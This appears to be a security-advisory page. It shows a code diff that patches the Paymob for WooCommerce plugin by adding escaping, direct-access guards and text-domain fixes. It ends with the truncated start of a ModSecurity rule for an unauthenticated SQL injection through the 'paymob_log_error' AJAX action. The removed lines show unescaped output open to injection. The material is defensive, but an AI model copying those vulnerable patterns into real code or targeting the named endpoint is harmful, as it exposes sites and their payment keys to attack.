         'default'           => plugins_url( PAYMOB_PLUGIN_NAME ) . '/assets/img/paymob.png',
         'type'              => 'text',
-        'description'       => __( 'Add a Logo URL for checkout icon.', 'paymob-woocommerce' ),
+        'description'       => __( 'Add a Logo URL for checkout icon.', 'paymob-for-woocommerce' ),
         'sanitize_callback' => 'sanitize_url',
         'custom_attributes' => array( 'required' => 'required' ),
     ),
--- a/paymob-for-woocommerce/includes/admin/paymob-unified.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-unified.php
@@ -1,9 +1,16 @@
 <?php
+/**
+ * Unified gateway settings fields.
+ *
+ * Included from gateway init_form_fields().
+ */
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }

-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';
+// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- section is used only for default logo path.
+$gateway_id = isset( $_GET['section'] ) ? sanitize_text_field( wp_unslash( $_GET['section'] ) ) : 'paymob';

 return array(
 	'tabs'=> array(
@@ -12,7 +19,7 @@
         'description' => $tabs,
     ),
 	'integration_id' => array(
-		'title'             => __( 'Paymob Integration ID(s)', 'paymob-woocommerce' ),
+		'title'             => __( 'Paymob Integration ID(s)', 'paymob-for-woocommerce' ),
 		'type'              => 'multiselect',
 		'options'           => PaymobAutoGenerate::get_integration_ids(),
 		'custom_attributes' => array(
@@ -21,26 +28,26 @@
         ),
 	),
 	'title'          => array(
-		'title'             => __( 'Payment Method - Title', 'paymob-woocommerce' ),
+		'title'             => __( 'Payment Method - Title', 'paymob-for-woocommerce' ),
 		'type'              => 'text',
-		'description'       => __( 'This controls the title which the user sees during checkout.', 'paymob-woocommerce' ),
-		'default'           => __( 'Pay with Paymob', 'paymob-woocommerce' ),
+		'description'       => __( 'This controls the title which the user sees during checkout.', 'paymob-for-woocommerce' ),
+		'default'           => __( 'Pay with Paymob', 'paymob-for-woocommerce' ),
 		'sanitize_callback' => 'sanitize_text_field',
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
 	'description'    => array(
-		'title'             => __( 'Payment Method - Description', 'paymob-woocommerce' ),
+		'title'             => __( 'Payment Method - Description', 'paymob-for-woocommerce' ),
 		'type'              => 'textarea',
-		'default'           => __( 'Pay with Paymob', 'paymob-woocommerce' ),
-		'description'       => __( 'This controls the description which the user sees during checkout.', 'paymob-woocommerce' ),
+		'default'           => __( 'Pay with Paymob', 'paymob-for-woocommerce' ),
+		'description'       => __( 'This controls the description which the user sees during checkout.', 'paymob-for-woocommerce' ),
 		'sanitize_callback' => 'sanitize_text_field',
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
 	'logo'           => array(
-		'title'             => __( 'Payment Method - Logo URL', 'paymob-woocommerce' ),
-		'default'           => plugins_url( PAYMOB_PLUGIN_NAME ) . '/assets/img/' . $this->id . '.png',
+		'title'             => __( 'Payment Method - Logo URL', 'paymob-for-woocommerce' ),
+		'default'           => plugins_url( PAYMOB_PLUGIN_NAME ) . '/assets/img/' . $gateway_id . '.png',
 		'type'              => 'text',
-		'description'       => __( 'Add a Logo URL for checkout icon.', 'paymob-woocommerce' ),
+		'description'       => __( 'Add a Logo URL for checkout icon.', 'paymob-for-woocommerce' ),
 		'sanitize_callback' => 'sanitize_url',
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
--- a/paymob-for-woocommerce/includes/admin/paymob-valu_widget_setting.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-valu_widget_setting.php
@@ -9,7 +9,7 @@
     ? '<strong style="color: red;">Please enable a ValU Integration ID from the Payment Integrations section to use the ValU Widget.</strong>'
     : 'Choose the Integration ID for the ValU Widget.';

-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';

 $settings = array(
     'tab'=>array(
@@ -18,20 +18,20 @@
         'desc' => $tabs,
     ),
     'section_title' => array(
-        'title' => __( 'ValU Widget Settings', 'paymob-woocommerce' ),
+        'title' => __( 'ValU Widget Settings', 'paymob-for-woocommerce' ),
         'type'  => 'title',
         'id'    => 'valu_widget_section_title',
     ),
     'enable_widget' => array(
-        'title'       => __( 'Enable ValU Widget', 'paymob-woocommerce' ),
+        'title'       => __( 'Enable ValU Widget', 'paymob-for-woocommerce' ),
         'type'        => 'checkbox',
         'id'          => 'enable',  // ✅ Added ID
         'default'     => 'no',
         'label'       => ' ',
-        'description' => __( 'Enable or disable the ValU widget.', 'paymob-woocommerce' ),
+        'description' => __( 'Enable or disable the ValU widget.', 'paymob-for-woocommerce' ),
     ),
     'integration_id' => array(
-        'title'       => __( 'Select Integration ID for ValU Widget', 'paymob-woocommerce' ),
+        'title'       => __( 'Select Integration ID for ValU Widget', 'paymob-for-woocommerce' ),
         'type'        => 'select',
         'id'          => 'integration_id',  // ✅ Added ID
         'options'     => $valu_integration_ids,
@@ -47,12 +47,12 @@

     ),
     'dark_mode' => array(
-        'title'       => __( 'Enable Dark Mode', 'paymob-woocommerce' ),
+        'title'       => __( 'Enable Dark Mode', 'paymob-for-woocommerce' ),
         'type'        => 'checkbox',
         'id'          => 'dark_mode',  // ✅ Added ID
         'default'     => 'no',
         'label'       => ' ',
-        'description' => __( 'This controls the style mode for ValuWidget.', 'paymob-woocommerce' ),
+        'description' => __( 'This controls the style mode for ValuWidget.', 'paymob-for-woocommerce' ),
     ),
     'section_end' => array(
         'type' => 'sectionend',
--- a/paymob-for-woocommerce/includes/admin/paymob-widget-setting.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-widget-setting.php
@@ -11,7 +11,7 @@
 	exit;
 }

-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';

 return array(
 	array(
--- a/paymob-for-woocommerce/includes/admin/paymob_checkout_sections.php
+++ b/paymob-for-woocommerce/includes/admin/paymob_checkout_sections.php
@@ -1,9 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 $sections                         = array();
-$sections['paymob-main']          = __( 'Main configuration', 'paymob-woocommerce' );
+$sections['paymob-main']          = __( 'Main configuration', 'paymob-for-woocommerce' );
 if ( !empty( $pub_key ) && !empty( $sec_key ) && !empty( $api_key ) ) {
-    $sections['paymob_list_gateways'] = __( 'Payment Integrations', 'paymob-woocommerce' );
-    $sections['paymob_pixel']   = __( 'Card Embedded Settings', 'paymob-woocommerce' );
-    $sections['paymob_add_gateway']   = __( 'Add Payment Integration', 'paymob-woocommerce' );
+    $sections['paymob_list_gateways'] = __( 'Payment Integrations', 'paymob-for-woocommerce' );
+    $sections['paymob_pixel']   = __( 'Card Embedded Settings', 'paymob-for-woocommerce' );
+    $sections['paymob_add_gateway']   = __( 'Add Payment Integration', 'paymob-for-woocommerce' );
 }
-return $sections;
+return $sections;
--- a/paymob-for-woocommerce/includes/admin/paymob_subscription.php
+++ b/paymob-for-woocommerce/includes/admin/paymob_subscription.php
@@ -4,7 +4,7 @@
 }

 // Include admin tabs (if needed)
-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';

 $moto_options = PaymobAutoGenerate::get_moto_integration_ids();
 $threeds_options = PaymobAutoGenerate::get_ds3_integration_ids();
@@ -19,17 +19,17 @@
 	array(
 		'type'  => 'title',
 		'class' => 'payment-feature-description',
-		'name'  => __( 'About Feature', 'paymob-woocommerce' ),
+		'name'  => __( 'About Feature', 'paymob-for-woocommerce' ),
 		'desc'  => '<div style="background-color: #f0f8ff; border: 1px solid #ddd; padding: 15px; margin-top: 20px; border-radius: 8px; font-family: Arial, sans-serif; color: #333; width:70%; margin-left:1%">
 						'.__( '<span style="font-weight: bold; color: #28a745;">Enable Recurring Payments:</span><br/>
 						Use Paymob’s Subscription Module to automatically bill customers for your products or services.<br/><br/>
 						Supports WooCommerce product types: <span style="font-weight: bold;">Simple Subscription</span> and <span style="font-weight: bold;">Variable Subscription</span>.<br/><br/>
-						For support, reach out to your account manager or email <a href="mailto:support@paymob.com" style="color: #007bff; font-weight: bold;">support@paymob.com</a>.' ).'
+						For support, reach out to your account manager or email <a href="mailto:support@paymob.com" style="color: #007bff; font-weight: bold;">support@paymob.com</a>.', 'paymob-for-woocommerce' ).'
 					</div>',
 	),

 	array(
-		'name'     => __( 'Enable Subscription', 'paymob-woocommerce' ),
+		'name'     => __( 'Enable Subscription', 'paymob-for-woocommerce' ),
 		'type'     => 'checkbox',
 		'id'       => 'woocommerce_paymob-subscription_settings[enabled]',
 		'desc_tip' => true,
@@ -37,7 +37,7 @@
 	),

 	array(
-		'name'     => __( 'Subscription Title', 'paymob-woocommerce' ),
+		'name'     => __( 'Subscription Title', 'paymob-for-woocommerce' ),
 		'type'     => 'text',
 		'id'       => 'woocommerce_paymob-subscription_settings[title]',
 		'desc_tip' => true,
@@ -45,15 +45,15 @@
 	),

 	array(
-		'name'     => __( 'Subscription Description', 'paymob-woocommerce' ),
+		'name'     => __( 'Subscription Description', 'paymob-for-woocommerce' ),
 		'type'     => 'textarea',
 		'id'       => 'woocommerce_paymob-subscription_settings[description]',
 		'desc_tip' => true,
-		'default'  => __( 'Recurring Payment via Paymob.', 'paymob-woocommerce' ),
+		'default'  => __( 'Recurring Payment via Paymob.', 'paymob-for-woocommerce' ),
 	),

 	array(
-		'name'     => __( 'MOTO Integration ID', 'paymob-woocommerce' ),
+		'name'     => __( 'MOTO Integration ID', 'paymob-for-woocommerce' ),
 		'type'     => 'select',
 		'id'       => 'woocommerce_paymob-subscription_settings[moto_integration_id]',
 		'desc_tip' => true,
@@ -63,7 +63,7 @@
 	),

 	array(
-		'name'     => __( '3DS Integration ID', 'paymob-woocommerce' ),
+		'name'     => __( '3DS Integration ID', 'paymob-for-woocommerce' ),
 		'type'     => 'select',
 		'id'       => 'woocommerce_paymob-subscription_settings[ds3_integration_ids]',
 		'desc_tip' => true,
@@ -73,12 +73,12 @@
 	),

 	array(
-		'name'     => __( 'Allow Customer Cancel', 'paymob-woocommerce' ),
+		'name'     => __( 'Allow Customer Cancel', 'paymob-for-woocommerce' ),
 		'type'     => 'checkbox',
 		'id'       => 'woocommerce_paymob-subscription_settings[allow_cancel]',
-		'label'    => __( 'Show the "Cancel Subscription" button to customers', 'paymob-woocommerce' ),
+		'label'    => __( 'Show the "Cancel Subscription" button to customers', 'paymob-for-woocommerce' ),
 		'default'  => 'no',
-		'desc'     => __( 'If enabled, customers can cancel their subscriptions from My Account > Subscriptions.', 'paymob-woocommerce' ),
+		'desc'     => __( 'If enabled, customers can cancel their subscriptions from My Account > Subscriptions.', 'paymob-for-woocommerce' ),
 	),

 	array(
--- a/paymob-for-woocommerce/includes/admin/scripts/paymob_admin_scripts.php
+++ b/paymob-for-woocommerce/includes/admin/scripts/paymob_admin_scripts.php
@@ -14,13 +14,13 @@
 				'toggle_nonce'                => wp_create_nonce( 'toggle_gateway_nonce' ),
 				'save_gateway_order_nonce'    => wp_create_nonce( 'save_gateway_order' ),
 				'reset_paymob_gateways_nonce' => wp_create_nonce( 'reset_paymob_gateways' ),
-				'rg' =>__('Remove Gateway', 'paymob-woocommerce'),
-				'ays' => __('Are you sure you want to remove this gateway?', 'paymob-woocommerce'),
-				'ay' => __('Are you sure you want to ', 'paymob-woocommerce'),
-				'tg' => __(' this gateway?', 'paymob-woocommerce'),
-				'gat' => __(' Gateway', 'paymob-woocommerce'),
-				'rp' => __('Reset Payment Methods', 'paymob-woocommerce'),
-				'arp' => __('Are you sure you want to reset the payment methods?', 'paymob-woocommerce'),
+				'rg' =>__('Remove Gateway', 'paymob-for-woocommerce'),
+				'ays' => __('Are you sure you want to remove this gateway?', 'paymob-for-woocommerce'),
+				'ay' => __('Are you sure you want to ', 'paymob-for-woocommerce'),
+				'tg' => __(' this gateway?', 'paymob-for-woocommerce'),
+				'gat' => __(' Gateway', 'paymob-for-woocommerce'),
+				'rp' => __('Reset Payment Methods', 'paymob-for-woocommerce'),
+				'arp' => __('Are you sure you want to reset the payment methods?', 'paymob-for-woocommerce'),
 			)
 		);
 	}
--- a/paymob-for-woocommerce/includes/admin/scripts/pixel_checkout.php
+++ b/paymob-for-woocommerce/includes/admin/scripts/pixel_checkout.php
@@ -1,3 +1,8 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <div id="paymob-elements"></div>
 <script>
     window.hasEmptyFields = false;
--- a/paymob-for-woocommerce/includes/admin/styles/paymob_admin_styles.php
+++ b/paymob-for-woocommerce/includes/admin/styles/paymob_admin_styles.php
@@ -99,8 +99,6 @@
 	}

 	public static function paymob_pixel_styles() {
-		wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css');
-
 		wp_enqueue_style( 'paymob-pixel-css', plugins_url( PAYMOB_PLUGIN_NAME ) . '/assets/css/pixel.css', array(), PAYMOB_VERSION );
 	}
 }
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_change_mode_model.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_change_mode_model.php
@@ -1,11 +1,16 @@
-<div id="changemodeconfirmationModal" class="changemode-modal" style="display:none;">
-    <div class="changemode-modal-content">
-    <p> Are You Sure To Switch Mode? </p>
-        <!-- Modal Buttons -->
-        <div class="modal-buttons">
-            <button id="changemodemodal_confirm_button">Confirm</button>
-            <button id="changemodemodal_close_button">Cancel</button>
-        </div>
-
-    </div>
-</div>
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
+<div id="changemodeconfirmationModal" class="changemode-modal" style="display:none;">
+    <div class="changemode-modal-content">
+    <p> Are You Sure To Switch Mode? </p>
+        <!-- Modal Buttons -->
+        <div class="modal-buttons">
+            <button id="changemodemodal_confirm_button">Confirm</button>
+            <button id="changemodemodal_close_button">Cancel</button>
+        </div>
+
+    </div>
+</div>
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_connect_paymob.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_connect_paymob.php
@@ -1,4 +1,8 @@
-<?php
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 return '<div class="paymob-connect-div">
         <img style="width:10%; float: left;" src="' . plugins_url( PAYMOB_PLUGIN_NAME )  . '/assets/img/paymob.png" alt="Image" class="paymob-img">
         <div >
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_custom_confirmation_modal.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_custom_confirmation_modal.php
@@ -1,25 +1,36 @@
-<div id="confirmationModal">
-	<h2><?php echo esc_html(__( 'Disable Paymob Gateway','paymob-woocommerce')); ?></h2>
-	<p><?php echo esc_html(__( 'If you disable this gateway, all Paymob gateways will be disabled. Do you want to continue?','paymob-woocommerce')); ?></p>
-	<ul>
-		<?php
-		foreach ( $gateways as $gateway ) {
-			$options = get_option( 'woocommerce_' . $gateway->gateway_id . '_settings', array() );
-			$enabled = isset( $options['enabled'] ) && 'yes' === $options['enabled'];
-			if ( $enabled ) {
-				$logo  = isset( $options['logo'] ) ? esc_url( $options['logo'] ) : '';
-				$title = isset( $options['title'] ) ? esc_html( $options['title'] ) : 'Unknown Gateway';
-				?>
-				<li>
-					<img src="<?php echo esc_url( $logo ); ?>" width="36" height="23" alt="<?php echo esc_attr( $title ); ?>">
-					<?php echo esc_html( $title ); ?>
-				</li>
-				<?php
-			}
-		}
-		?>
-	</ul>
-	<button id="confirmDisable"><?php echo esc_html(__( 'Disable','paymob-woocommerce')); ?></button>
-	<button id="confirmCancel"><?php echo esc_html(__( 'Cancel','paymob-woocommerce')); ?></button>
-</div>
+<?php
+/**
+ * Confirmation modal for disabling Paymob gateways.
+ */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+if ( ! isset( $gateways ) || ! is_array( $gateways ) ) {
+	$gateways = array();
+}
+?>
+<div id="confirmationModal">
+	<h2><?php echo esc_html(__( 'Disable Paymob Gateway','paymob-for-woocommerce')); ?></h2>
+	<p><?php echo esc_html(__( 'If you disable this gateway, all Paymob gateways will be disabled. Do you want to continue?','paymob-for-woocommerce')); ?></p>
+	<ul>
+		<?php
+		foreach ( $gateways as $gateway ) {
+			$options = get_option( 'woocommerce_' . $gateway->gateway_id . '_settings', array() );
+			$enabled = isset( $options['enabled'] ) && 'yes' === $options['enabled'];
+			if ( $enabled ) {
+				$logo  = isset( $options['logo'] ) ? esc_url( $options['logo'] ) : '';
+				$title = isset( $options['title'] ) ? esc_html( $options['title'] ) : 'Unknown Gateway';
+				?>
+				<li>
+					<img src="<?php echo esc_url( $logo ); ?>" width="36" height="23" alt="<?php echo esc_attr( $title ); ?>">
+					<?php echo esc_html( $title ); ?>
+				</li>
+				<?php
+			}
+		}
+		?>
+	</ul>
+	<button id="confirmDisable"><?php echo esc_html(__( 'Disable','paymob-for-woocommerce')); ?></button>
+	<button id="confirmCancel"><?php echo esc_html(__( 'Cancel','paymob-for-woocommerce')); ?></button>
+</div>
 <div id="overlay"></div>
 No newline at end of file
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_disconnect_paymob.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_disconnect_paymob.php
@@ -1,11 +1,16 @@
-<div id="disconnectconfirmationModal" class="disconnect-modal" style="display:none;">
-    <div class="disconnect-modal-content">
-    <p> Are you sure you want to disconnect from Paymob? </p>
-        <!-- Modal Buttons -->
-        <div class="modal-buttons">
-            <button id="disconnectmodal_confirm_button">Confirm</button>
-            <button id="disconnectmodal_close_button">Cancel</button>
-        </div>
-
-    </div>
-</div>
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
+<div id="disconnectconfirmationModal" class="disconnect-modal" style="display:none;">
+    <div class="disconnect-modal-content">
+    <p> Are you sure you want to disconnect from Paymob? </p>
+        <!-- Modal Buttons -->
+        <div class="modal-buttons">
+            <button id="disconnectmodal_confirm_button">Confirm</button>
+            <button id="disconnectmodal_close_button">Cancel</button>
+        </div>
+
+    </div>
+</div>
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_gateway_list.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_gateway_list.php
@@ -1,24 +1,29 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <table id="paymob_custom_gateways" class="wp-list-table widefat fixed striped">
     <thead>
         <tr>
-            <th class="column-reorder"><?php esc_html_e('Re-Order', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Enable / Disable', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Payment Method', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Title', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Description', 'paymob-woocommerce'); ?></th>
-            <th class="column-integration-id"><?php esc_html_e('Integration ID', 'paymob-woocommerce'); ?></th>
-            <th class="column-logo"><?php esc_html_e('Logo', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Webhook URL', 'paymob-woocommerce'); ?></th>
-            <th><?php esc_html_e('Action', 'paymob-woocommerce'); ?></th>
+            <th class="column-reorder"><?php esc_html_e('Re-Order', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Enable / Disable', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Payment Method', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Title', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Description', 'paymob-for-woocommerce'); ?></th>
+            <th class="column-integration-id"><?php esc_html_e('Integration ID', 'paymob-for-woocommerce'); ?></th>
+            <th class="column-logo"><?php esc_html_e('Logo', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Webhook URL', 'paymob-for-woocommerce'); ?></th>
+            <th><?php esc_html_e('Action', 'paymob-for-woocommerce'); ?></th>
         </tr>
     </thead>
     <tbody>
         <tr>
-            <td colspan="8"><?php esc_html_e('Please wait while loading Payment methods ...', 'paymob-woocommerce'); ?></td>
+            <td colspan="8"><?php esc_html_e('Please wait while loading Payment methods ...', 'paymob-for-woocommerce'); ?></td>
         </tr>
     </tbody>
 </table>
 <p><a href="#" style="cursor:pointer;"
-		id="reset-paymob-gateways"><?php esc_html_e( 'Click here', 'paymob-woocommerce' ); ?></a>
-	<?php esc_html_e( 'to re-authenticate your Paymob configuration to get the new updated payment methods.', 'paymob-woocommerce' ); ?>
-</p>
 No newline at end of file
+		id="reset-paymob-gateways"><?php esc_html_e( 'Click here', 'paymob-for-woocommerce' ); ?></a>
+	<?php esc_html_e( 'to re-authenticate your Paymob configuration to get the new updated payment methods.', 'paymob-for-woocommerce' ); ?>
+</p>
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_loader_paymob.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_loader_paymob.php
@@ -1,29 +1,38 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <div id="confirmation-modal" style="display:none;">
 	<div id="confirmation-modal-content">
 		<h2 id="confirmation-modal-title"></h2>
 		<p id="confirmation-modal-message"></p>

 		<div class="modal-buttons">
-		<button type="button"  id="confirmation-modal-confirm"><?php echo esc_html( __( 'Confirm', 'paymob-woocommerce' ) ); ?></button>
-		<button type="button" id="confirmation-modal-cancel"><?php echo esc_html( __( 'Cancel', 'paymob-woocommerce' ) ); ?></button>
+		<button type="button"  id="confirmation-modal-confirm"><?php echo esc_html( __( 'Confirm', 'paymob-for-woocommerce' ) ); ?></button>
+		<button type="button" id="confirmation-modal-cancel"><?php echo esc_html( __( 'Cancel', 'paymob-for-woocommerce' ) ); ?></button>
         </div>

 	</div>
 </div>
 <div class="loader_paymob"></div>
 <?php
-$paymobOptions = get_option('woocommerce_paymob-main_settings');
-$mode = isset($paymobOptions['mode']) ? $paymobOptions['mode'] : 'test';
-$sliderMode = ($mode=='test')?'':'silderMode';
+$paymobOptions = get_option( 'woocommerce_paymob-main_settings' );
+$mode         = isset( $paymobOptions['mode'] ) ? $paymobOptions['mode'] : 'test';
+$sliderMode   = ( 'test' === $mode ) ? '' : 'silderMode';
 // Generate HTML row.
-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
-$modeSwitcher =  '<div id="changemodemodal_confirm_button" class="mode-toggle-container switch-mode" style="max-width: 20%;">
+$tabs = include __DIR__ . '/../../paymob-admin-tabs.php';
+$modeSwitcher = sprintf(
+	'<div id="changemodemodal_confirm_button" class="mode-toggle-container switch-mode" style="max-width: 20%%;">
     <label for="mode-toggle"></label>
     <label class="switch">
-        <span class="slider round '.$sliderMode.'"></span>
+        <span class="slider round %1$s"></span>
     </label>
-    <span id="mode-status">'. ucfirst($mode) .'</span>
-</div>';
+    <span id="mode-status">%2$s</span>
+</div>',
+	esc_attr( $sliderMode ),
+	esc_html( ucfirst( $mode ) )
+);

-echo $tabs. '<br/><br/>'.$modeSwitcher;
+echo wp_kses_post( $tabs . '<br/><br/>' . $modeSwitcher );
 ?>
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_manual_setup_modal.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_manual_setup_modal.php
@@ -1,13 +1,15 @@
-<?php
-
-$paymobOptions = get_option('woocommerce_paymob-main_settings');
-$mode = isset($paymobOptions['mode']) ? $paymobOptions['mode'] : 'test';
-$checked = ($mode=='test')?'':'checked';
-$apiKey = isset($paymobOptions['api_key']) ? $paymobOptions['api_key'] : '';
-$live_pub_key = isset($paymobOptions['live_pub_key']) ? $paymobOptions['live_pub_key'] : '';
-$live_sec_key = isset($paymobOptions['live_sec_key']) ? $paymobOptions['live_sec_key'] : '';
-$test_sec_key = isset($paymobOptions['test_sec_key']) ? $paymobOptions['test_sec_key'] : '';
-$test_pub_key = isset($paymobOptions['test_pub_key']) ? $paymobOptions['test_pub_key'] : '';
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+$paymobOptions = get_option( 'woocommerce_paymob-main_settings' );
+$mode          = isset( $paymobOptions['mode'] ) ? $paymobOptions['mode'] : 'test';
+$apiKey        = isset( $paymobOptions['api_key'] ) ? $paymobOptions['api_key'] : '';
+$live_pub_key  = isset( $paymobOptions['live_pub_key'] ) ? $paymobOptions['live_pub_key'] : '';
+$live_sec_key  = isset( $paymobOptions['live_sec_key'] ) ? $paymobOptions['live_sec_key'] : '';
+$test_sec_key  = isset( $paymobOptions['test_sec_key'] ) ? $paymobOptions['test_sec_key'] : '';
+$test_pub_key  = isset( $paymobOptions['test_pub_key'] ) ? $paymobOptions['test_pub_key'] : '';
 ?>
 <div id="manualsetupconfirmationModal" class="manualsetup-modal" style="display:none;">

@@ -15,7 +17,7 @@


  <script>
-    var mode = '<?=$mode;?>';
+    var mode = <?php echo wp_json_encode( $mode ); ?>;
 </script>

     <div class="manualsetup-modal-content">
@@ -26,22 +28,22 @@
         <div class="mode-toggle-container">
             <label for="mode-toggle">Mode</label>
             <label class="switch">
-                <input type="checkbox" id="mode-toggle" <?= $checked;?>>
+                <input type="checkbox" id="mode-toggle" <?php checked( $mode, 'live' ); ?>>
                 <span class="slider round"></span>
             </label>
             <span id="mode-status2">Test</span> <!-- Default mode status -->
         </div>
-        <input type="text" id="api_key" placeholder="Paymob API Key" required  value="<?= $apiKey; ?>">
+        <input type="text" id="api_key" placeholder="Paymob API Key" required value="<?php echo esc_attr( $apiKey ); ?>">



         <div id="liveKeys" class="tabcontent">
-            <input type="text" id="live_secret_key" placeholder="Paymob Live Secret Key" value="<?= $live_sec_key; ?>">
-            <input type="text" id="live_public_key" placeholder="Paymob Live Public Key" value="<?= $live_pub_key; ?>">
+            <input type="text" id="live_secret_key" placeholder="Paymob Live Secret Key" value="<?php echo esc_attr( $live_sec_key ); ?>">
+            <input type="text" id="live_public_key" placeholder="Paymob Live Public Key" value="<?php echo esc_attr( $live_pub_key ); ?>">
         </div>
         <div id="testKeys" class="tabcontent">
-        <input type="text" id="test_secret_key" placeholder="Paymob Test Secret Key" value="<?= $test_sec_key; ?>">
-            <input type="text" id="test_public_key" placeholder="Paymob Test Public Key" value="<?= $test_pub_key; ?>">
+        <input type="text" id="test_secret_key" placeholder="Paymob Test Secret Key" value="<?php echo esc_attr( $test_sec_key ); ?>">
+            <input type="text" id="test_public_key" placeholder="Paymob Test Public Key" value="<?php echo esc_attr( $test_pub_key ); ?>">
         </div>


--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_reconnect_buttons.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_reconnect_buttons.php
@@ -1,4 +1,8 @@
-<?php
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 $paymobOptions = get_option('woocommerce_paymob-main_settings');
 $mode = isset($paymobOptions['mode']) ? $paymobOptions['mode'] : 'test';
 $sliderMode = ($mode=='test')?'':'silderMode';
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_save_card_confirmation_model.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_save_card_confirmation_model.php
@@ -1,8 +1,13 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <div id="paymob-delete-modal" class="paymob-modal">
 			<div class="paymob-modal-content">
 				<span class="paymob-close">×</span>
-				<p><?php echo esc_html( __( 'Are you sure you want to delete this card? This action cannot be undone.', 'paymob-woocommerce' ) ); ?></p>
-				<button id="paymob-confirm-delete" class="button"><?php echo esc_html( __( 'Delete', 'paymob-woocommerce' ) ); ?></button>
-				<button id="paymob-cancel-delete" class="button"><?php echo esc_html( __( 'Cancel', 'paymob-woocommerce' ) ); ?></button>
+				<p><?php echo esc_html( __( 'Are you sure you want to delete this card? This action cannot be undone.', 'paymob-for-woocommerce' ) ); ?></p>
+				<button id="paymob-confirm-delete" class="button"><?php echo esc_html( __( 'Delete', 'paymob-for-woocommerce' ) ); ?></button>
+				<button id="paymob-cancel-delete" class="button"><?php echo esc_html( __( 'Cancel', 'paymob-for-woocommerce' ) ); ?></button>
 			</div>
-		</div>
 No newline at end of file
+		</div>
--- a/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_webhook_url_modal.php
+++ b/paymob-for-woocommerce/includes/admin/views/htmlsviews/html_webhook_url_modal.php
@@ -1,27 +1,32 @@
-<div id="webhookconfirmationModal" class="webhook-modal" style="display:none;">
-    <div class="webhook-modal-content">
-        <h2>Webhook Callbacks</h2>
-        <p class="modal-description">Review and update the callback URLs for transaction processing.</p>
-        <!-- Callback URLs -->
-        <div class="modal-callbacks">
-            <div class="modal-callback">
-                <label for="processed_callback">Current Processed Callback:</label>
-                <p id="processed_callback_display">Loading...</p>
-            </div>
-            <div class="modal-callback">
-                <label for="response_callback">Current Response Callback:</label>
-                <p id="response_callback_display">Loading...</p>
-            </div>
-        </div>
-        <!-- Input Fields -->
-        <label for="new_callback" id="integration_label">Click "Confirm" if you wish to update the Webhook URL to the one provided below for Integration ID :</label>
-    

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15205
# Blocks unauthenticated SQL injection via the paymob_log_error AJAX action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
